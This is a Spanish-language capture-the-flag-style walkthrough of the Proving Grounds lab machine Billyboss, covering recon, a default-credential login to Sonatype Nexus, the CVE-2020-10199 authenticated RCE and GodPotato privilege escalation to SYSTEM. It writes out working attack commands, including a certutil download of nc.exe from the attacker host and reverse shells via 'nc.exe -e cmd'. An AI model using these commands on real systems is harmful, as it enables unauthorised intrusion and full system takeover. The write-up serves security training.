the_open_door
café
ESEN

Billyboss

Proving Grounds PracticeMediaWindows192.168.180.61

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#nexus#cve-2020-10199#default-credentials#authenticated-rce#seimpersonate#godpotato#token-impersonation#oscp
TL;DR. Billyboss expone Sonatype Nexus Repository Manager 3.21.0 en el 8081. Entramos con credenciales por defecto (nexus/nexus) y lanzamos la RCE autenticada CVE-2020-10199, cayendo como nathan. La cuenta tiene SeImpersonatePrivilege, así que con GodPotato (abuso de SeImpersonate, GodPotato) suplantamos el token de SYSTEM y ganamos NT AUTHORITY\SYSTEM.

Reconocimiento

Escaneo inicial

El TTL de respuesta es 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Entre los puertos abiertos destacan un IIS, un FTP y un Jetty:

ping -c 1 192.168.180.61
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.180.61
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
445/tcp  open  microsoft-ds
8081/tcp open  http
nmap -p21,80,135,139,445,5040,8081 -sCV 192.168.180.61 -oN targetedScan
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         Microsoft ftpd
80/tcp   open  http        Microsoft IIS httpd 10.0
|_http-title: BaGet
445/tcp  open  microsoft-ds
8081/tcp open  http        Jetty 9.4.18.v20190429
|_http-server-header: Nexus/3.21.0-05 (OSS)
|_http-title: Nexus Repository Manager

El 80 es un BaGet (servidor NuGet) sin login que muestra paquetes, y el 8081 un Nexus Repository Manager. Nexus es el vector.

Nexus - TCP 8081

La cabecera del panel identifica Sonatype Nexus Repository Manager OSS 3.21.0-05:

Portada de Nexus Repository Manager OSS 3.21.0-05 con el botón Sign in, sin autenticar

Probamos credenciales por defecto: buscamos en SecLists las de Nexus y el default-passwords.csv lista nexus/nexus (y admin/admin123):

grep -ri 'sonatype nexus' /usr/share/seclists

grep en SecLists: default-passwords.csv incluye Sonatype Nexus con nexus,nexus y admin,admin123

/usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv:Sonatype Nexus Repository Manager,admin,admin123,https://help.sonatype.com/repomanager2/maven-and-other-build-tools/sbt
/usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv:Sonatype Nexus Repository Manager,nexus,nexus,

En el diálogo Sign In de Nexus introducimos nexus/nexus:

Diálogo Sign In de Nexus con el usuario nexus y la contraseña rellenados

La sesión se abre: el panel confirma "User signed in: nexus":

Sesión iniciada en Nexus como el usuario nexus con credenciales por defecto

Sonatype Nexus Repository Manager   OSS 3.21.0-05
Welcome - Learn about Sonatype Nexus Repository Manager
User signed in: nexus

searchsploit confirma que esta versión arrastra una RCE autenticada:

searchsploit sonatype nexus
Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated) | java/webapps/49385.py  (CVE-2020-10199)

Explotación

CVE-2020-10199: RCE autenticada

La CVE-2020-10199 es una inyección de expresiones que, con sesión válida, ejecuta comandos en el servidor. Con Penelope a la escucha en el 4444:

penelope 4444

Editamos el exploit con la URL, las credenciales nexus/nexus y un comando que descarga nc.exe con certutil y abre una reverse shell:

# En exp.py:
# CMD='cmd.exe /c certutil -urlcache -f http://192.168.45.211/nc.exe nc.exe && nc.exe -e cmd 192.168.45.211 4444'
python3 exp.py

La RCE de Nexus descarga nc.exe y devuelve una shell como nathan

Logging in
Logged in successfully
Command executed
[+] Got reverse shell from BILLYBOSS~192.168.180.61-Microsoft_Windows_10_Pro-x64  Assigned SessionID <1>
C:\Users\nathan\Nexus\nexus-3.21.0-05>whoami
billyboss\nathan

Obtenemos ejecución como billyboss\nathan.

Local

type Desktop\local.txt & whoami & ipconfig & hostname

local.txt leída como nathan en billyboss

8bf40ce3240f2089e22573df37634dac
billyboss\nathan

Escalada de privilegios

SeImpersonatePrivilege con GodPotato

whoami /priv revela que nathan tiene SeImpersonatePrivilege habilitado. Es el privilegio típico de las cuentas de servicio y permite suplantar el token de un cliente que se autentique contra nosotros; los exploits de la familia Potato lo convierten en SYSTEM (abuso de SeImpersonate):

whoami /priv

whoami /priv muestra SeImpersonatePrivilege habilitado para nathan

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                Enabled

SeImpersonatePrivilege aparece Enabled. Comprobamos la versión de .NET instalada por el registro para elegir el binario adecuado: el NDP muestra v4.8.03752 (TargetVersion 4.0.0), así que usaremos la variante GodPotato-NET4.exe:

Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse

El registro NDP muestra .NET Framework v4, TargetVersion 4.0.0 y Version 4.8.03752

    Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP

Name                 Property
----                 --------
v4

    Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4

Name                 Property
----                 --------
Client               CBS           : 1
                     Install       : 1
                     InstallPath   : C:\Windows\Microsoft.NET\Framework\v4.0.30319\
                     Release       : 528040
                     Servicing     : 0
                     TargetVersion : 4.0.0
                     Version       : 4.8.03752

Usamos GodPotato (repo), que fuerza a un servicio DCOM a autenticarse contra un named pipe controlado y roba su token de SYSTEM (GodPotato). Lo descargamos en Kali, lo renombramos a gp.exe, lo servimos por HTTP y lo traemos con certutil a la víctima:

wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe
mv GodPotato-NET4.exe gp.exe
python3 -m http.server 80
certutil.exe -f -urlcache -split http://192.168.45.211/gp.exe gp.exe

wget descarga GodPotato-NET4 renombrado a gp.exe y http.server lo sirve; certutil lo baja a la víctima

PS C:\Users\nathan\Nexus\nexus-3.21.0-05> certutil.exe -f -urlcache -split http://192.168.45.211/gp.exe gp.exe
****  Online  ****
  0000  ...
  e000
CertUtil: -URLCache command completed successfully.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.180.61 - - [25/Jan/2026 22:20:01] "GET /gp.exe HTTP/1.1" 200 -
192.168.180.61 - - [25/Jan/2026 22:20:01] "GET /gp.exe HTTP/1.1" 200 -

Antes de disparar la shell, dejamos un nc a la escucha:

rlwrap nc -nlvp 4445
.\gp.exe -cmd ".\nc.exe 192.168.45.211 4445 -e cmd.exe"

GodPotato roba el token de SYSTEM y la reverse shell llega como NT AUTHORITY\SYSTEM

[*] CreateNamedPipe \\.\pipe\a9077654-02f5-4e73-8482-4575eff35b89\pipe\epmapper
[*] Trigger RPCSS
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] Start Search System Token
[*] PID : 840 Token:0x672  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] process start with pid 4116

connect to [192.168.45.211] from (UNKNOWN) [192.168.180.61] 50669
Microsoft Windows [Version 10.0.18362.719]
C:\Windows\system32>

GodPotato encuentra el token de SYSTEM y el nc recibe la shell como nt authority\system.

Root

type proof.txt & ipconfig & hostname & whoami

proof.txt leída como SYSTEM en billyboss

001033b00d59f0dd332326f3d1d79178
nt authority\system

Cadena de ataque

HTTP (8081)  --  Sonatype Nexus 3.21.0 OSS
        │  credenciales por defecto nexus/nexus
        │  CVE-2020-10199: RCE autenticada -> reverse shell
        ▼
nathan  (local.txt)
        │  SeImpersonatePrivilege -> GodPotato
        ▼
SYSTEM  (proof.txt)

Lecciones aprendidas

  • Las credenciales por defecto siguen abriendo puertas. nexus/nexus dio la sesión que habilitaba la RCE; sin ellas la CVE-2020-10199 (autenticada) no servía. Cambiar las contraseñas de fábrica es el control más barato y el más olvidado.
  • whoami /priv es la primera parada en Windows. SeImpersonatePrivilege aparece en casi cualquier cuenta de servicio y es un billete directo a SYSTEM con la familia Potato. Revisar los privilegios del token antes que nada ahorra rodeos.
  • GodPotato generaliza el truco Potato a .NET moderno. Donde JuicyPotato ya no llega, GodPotato abusa de DCOM/RPC igual. Emparejar el exploit con la versión de .NET instalada es lo que lo hace funcionar.
Cheatsheet de comandos 10 comandos

Repaso rápido